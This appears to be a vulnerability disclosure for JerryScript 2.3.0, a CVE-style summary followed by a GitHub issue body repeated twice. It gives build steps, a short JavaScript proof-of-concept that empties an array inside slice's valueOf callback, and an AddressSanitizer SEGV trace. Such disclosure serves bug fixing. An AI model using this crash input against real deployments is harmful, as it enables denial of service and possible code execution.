An issue in Jerrscript- project Jerryscrip v. 2.3.0 allows a remote attacker to execute arbitrary code via the ecma_builtin_array_prototype_object_slice parameter.
###### JerryScript revision
`655110a` commit

###### Build steps
```sh
python tools/build.py --clean --compile-flag=-fsanitize=address
```

###### Test case
```
a = []
for(var i=0; i<100; i++) a.push(i)
a.slice(0, {valueOf: function(){a.length=0; return 100;}})
```
###### Output
```
==34465==ERROR: AddressSanitizer: SEGV on unknown address 0x000173d7b4e0 (pc 0x00010e47486f bp 0x7ffee179a130 sp 0x7ffee179a130 T0)
==34465==The signal is caused by a READ memory access.
    #0 0x10e47486e in ecma_ref_ecma_string (jerry:x86_64+0x10000f86e)
    #1 0x10e478e93 in ecma_copy_value (jerry:x86_64+0x100013e93)
    #2 0x10e47ef83 in ecma_builtin_array_prototype_dispatch_routine (jerry:x86_64+0x100019f83)
    #3 0x10e496a37 in ecma_builtin_dispatch_call (jerry:x86_64+0x100031a37)
    #4 0x10e4d9672 in vm_execute (jerry:x86_64+0x100074672)
    #5 0x10e4d910c in vm_run (jerry:x86_64+0x10007410c)
    #6 0x10e46a81f in jerry_run (jerry:x86_64+0x10000581f)
    #7 0x10e467e49 in main (jerry:x86_64+0x100002e49)
    #8 0x7fff72b5c7fc in start (libdyld.dylib:x86_64+0x1a7fc)

==34465==Register values:
rax = 0x000000002e7af69c  rbx = 0x0000000065737361  rcx = 0x000010002e7af600  rdx = 0x0000100000000000
rdi = 0x0000000173d7b4e0  rsi = 0x0000000000000000  rbp = 0x00007ffee179a130  rsp = 0x00007ffee179a130
 r8 = 0x0000100000000000   r9 = 0x00000000000006e8  r10 = 0x000000010e644670  r11 = 0x00007fff72cccf00
r12 = 0x000000010e64470c  r13 = 0x000000010e6441bc  r14 = 0x0000100000000000  r15 = 0x000000000000000f
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (jerry:x86_64+0x10000f86e) in ecma_ref_ecma_string
==34465==ABORTING
[1]    34465 abort      ./build/bin/jerry

```
SEGV on ecma_builtin_array_prototype_object_slice
This is a GitHub Issue
repo:jerryscript
owner:jerryscript-project
Title : SEGV on ecma_builtin_array_prototype_object_slice
Issue date:

--- start body ---
###### JerryScript revision
`655110a` commit

###### Build steps
```sh
python tools/build.py --clean --compile-flag=-fsanitize=address
```

###### Test case
```
a = []
for(var i=0; i<100; i++) a.push(i)
a.slice(0, {valueOf: function(){a.length=0; return 100;}})
```
###### Output
```
==34465==ERROR: AddressSanitizer: SEGV on unknown address 0x000173d7b4e0 (pc 0x00010e47486f bp 0x7ffee179a130 sp 0x7ffee179a130 T0)
==34465==The signal is caused by a READ memory access.
    #0 0x10e47486e in ecma_ref_ecma_string (jerry:x86_64+0x10000f86e)
    #1 0x10e478e93 in ecma_copy_value (jerry:x86_64+0x100013e93)
    #2 0x10e47ef83 in ecma_builtin_array_prototype_dispatch_routine (jerry:x86_64+0x100019f83)
    #3 0x10e496a37 in ecma_builtin_dispatch_call (jerry:x86_64+0x100031a37)
    #4 0x10e4d9672 in vm_execute (jerry:x86_64+0x100074672)
    #5 0x10e4d910c in vm_run (jerry:x86_64+0x10007410c)
    #6 0x10e46a81f in jerry_run (jerry:x86_64+0x10000581f)
    #7 0x10e467e49 in main (jerry:x86_64+0x100002e49)
    #8 0x7fff72b5c7fc in start (libdyld.dylib:x86_64+0x1a7fc)

==34465==Register values:
rax = 0x000000002e7af69c  rbx = 0x0000000065737361  rcx = 0x000010002e7af600  rdx = 0x0000100000000000
rdi = 0x0000000173d7b4e0  rsi = 0x0000000000000000  rbp = 0x00007ffee179a130  rsp = 0x00007ffee179a130
 r8 = 0x0000100000000000   r9 = 0x00000000000006e8  r10 = 0x000000010e644670  r11 = 0x00007fff72cccf00
r12 = 0x000000010e64470c  r13 = 0x000000010e6441bc  r14 = 0x0000100000000000  r15 = 0x000000000000000f
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (jerry:x86_64+0x10000f86e) in ecma_ref_ecma_string
==34465==ABORTING
[1]    34465 abort      ./build/bin/jerry

```
--- end body ---
